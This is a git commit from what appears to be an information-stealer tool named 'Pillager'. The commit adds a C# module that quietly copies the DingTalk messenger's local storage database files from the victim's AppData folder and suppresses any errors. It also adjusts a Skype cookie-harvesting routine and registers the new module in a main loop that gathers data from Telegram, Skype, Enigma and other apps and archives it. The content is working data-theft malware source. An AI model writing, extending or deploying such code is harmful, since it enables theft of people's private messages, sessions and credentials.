Add DingTalk

This commit is contained in:
簞純 2024-01-24 18:29:44 +08:00
parent 0d6814fa2c
commit bdc9e1965d
4 changed files with 38 additions and 2 deletions

View File

@ -0,0 +1,33 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
namespace Pillager.Messengers
{
internal class DingTalk
{
public static string MessengerName = "DingTalk";
public static void Save(string path)
{
try
{
string storagepath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "DingTalk\\globalStorage\\storage.db");
if (!File.Exists(storagepath)) return;
string storageshmpath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "DingTalk\\globalStorage\\storage.db-shm");
string storagewalpath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "DingTalk\\globalStorage\\storage.db-wal");
string savepath = Path.Combine(path, MessengerName);
Directory.CreateDirectory(savepath);
File.Copy(storagepath, Path.Combine(savepath, "storage.db"));
if (File.Exists(storageshmpath))
File.Copy(storageshmpath, Path.Combine(savepath, "storage.db-shm"));
if (File.Exists(storagewalpath))
File.Copy(storagewalpath, Path.Combine(savepath, "storage.db-wal"));
}
catch { }
}
}
}

View File

@ -55,10 +55,11 @@ namespace Pillager.Messengers
try
{
if (!Directory.Exists(MessengerPaths[0]) && !Directory.Exists(MessengerPaths[1])) return;
string savepath = Path.Combine(path, MessengerName);
Directory.CreateDirectory(savepath);
string Desktop = Skype_cookies(MessengerPaths[0]);
string Store = Skype_cookies(MessengerPaths[1]);
if (string.IsNullOrEmpty(Desktop) && string.IsNullOrEmpty(Store)) return;
string savepath = Path.Combine(path, MessengerName);
Directory.CreateDirectory(savepath);
if (!String.IsNullOrEmpty(Desktop)) File.WriteAllText(Path.Combine(savepath, MessengerName + "_Desktop.txt"), Desktop);
if (!String.IsNullOrEmpty(Store)) File.WriteAllText(Path.Combine(savepath, MessengerName + "_Store.txt"), Store);
}

View File

@ -73,6 +73,7 @@
<Compile Include="Helper\VaultCli.cs" />
<Compile Include="Mails\Foxmail.cs" />
<Compile Include="Mails\MailMaster.cs" />
<Compile Include="Messengers\DingTalk.cs" />
<Compile Include="Messengers\Enigma.cs" />
<Compile Include="Messengers\QQ.cs" />
<Compile Include="Messengers\Skype.cs" />

View File

@ -55,6 +55,7 @@ namespace Pillager
Telegram.Save(savepath);
Skype.Save(savepath);
Enigma.Save(savepath);
DingTalk.Save(savepath);
//Tar.gz
Tar.Pack(savepath, savezippath);